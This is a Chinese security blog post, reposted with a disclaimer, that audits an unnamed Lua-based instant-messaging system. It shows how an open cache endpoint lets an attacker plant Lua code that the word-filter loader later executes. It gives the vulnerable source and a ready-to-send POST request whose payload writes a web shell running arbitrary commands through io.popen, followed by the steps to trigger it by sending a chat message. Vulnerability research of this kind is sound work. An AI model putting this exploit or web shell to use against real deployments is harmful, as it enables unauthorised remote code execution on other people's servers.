某即时通讯系统缓存投毒->代码注入RCE

admin 2026-02-08 01:21:16 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详述某即时通讯系统缓存投毒致RCE漏洞。攻击者向WordFilter键注入恶意Lua代码,系统读取时直接通过load函数执行该字符串。文档包含源码分析、攻击原理及完整复现步骤,演示了利用消息触发机制实现远程代码执行和文件写入的过程。 综合评分: 88 文章分类: 代码审计,漏洞分析,WEB安全


cover_image

某即时通讯系统缓存投毒->代码注入RCE

原创

回头没有岸 回头没有岸

苍穹密语

2026年2月6日 14:39 北京

Hey Guys!失踪人口回归,今天给大家分享一个代码审计实例吧

Source

首先看到Source:index.lua

function handler.cache(self, action)
  local key = web:post("key")
local value = web:post("value")
local cache_value = nil
if value=="nil"then
    cache_value = xxxx.cache(key, nil)
elseif value==nilthen
    cache_value = xxxx.cache(key)
else
    cache_value = xxxx.cache(key, value)
end
  web:json(json.encode({cmd="cache", code="ok", data=cache_value}))
end

从uri中获取参数key和value,并放到xxxx.cache中(xxxx是我瞎编的,我怕有火眼金睛。。。),key是缓存的键,value是缓存的值

Ta的web入口点:index.lua?a=cache

local a = web:get("a")
if handler[a] then
  pcall(handler[a], handler, a)
end

Sink

在看到Sink:WordFilterManager.lua

function WordFilterManager.getWordFilter()
    local WordFilter = "WordFilter345asjdqUIY22"
    local WordMap = xxxx.cache(WordFilter)         -

    if WordMap == nil then
        WordMap = WordFilterManager.InitWordFilter()
        xxxx.cache(WordFilter, inspect(WordMap))
    else
        WordFilterManager.wordMap = assert(load("return "..WordMap))()
    end
end

wordMap 从缓存中读取WordFilter这个key,如果不存在返回nil,如果没有缓存将会初始化新的敏感词过滤器,并将序列化后的数据存入缓存

如果有缓存则会将字符串编译为 Lua 函数,并执行该函数。

那么我们可以写入一个lua的代码放到缓存里,当缓存触发的时候加载代码从而实现RCE

漏洞复现

1、添加缓存

POST /index.lua?a=cache HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Content-Length: 216

key=WordFilter345asjdqUIY22&value=(function() io.open('../app/html/file/s.lua','w'):write('mg.write(io.popen(mg.get_var(mg.request_info.query_string,[[c]])):read([[*a]]))'):close() return {isLast=false,map={}} end)()

image-20260206141954243

确定一下缓存已经写入

image-20260206142042231

2、触发(这里是发送消息触发)

首先本地没有恶意文件

image-20260206142212793

登录状态模拟对话,发送hello

image-20260206142336644

成功写入文件

image-20260206142408247

访问执行命令

image-20260206142502747

End

结束喽~,后面不定期更,我知道有漏点,vps搭建的环境无所谓啦~


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:苍穹密语 回头没有岸 回头没有岸《某即时通讯系统缓存投毒->代码注入RCE》

评论:0   参与:  0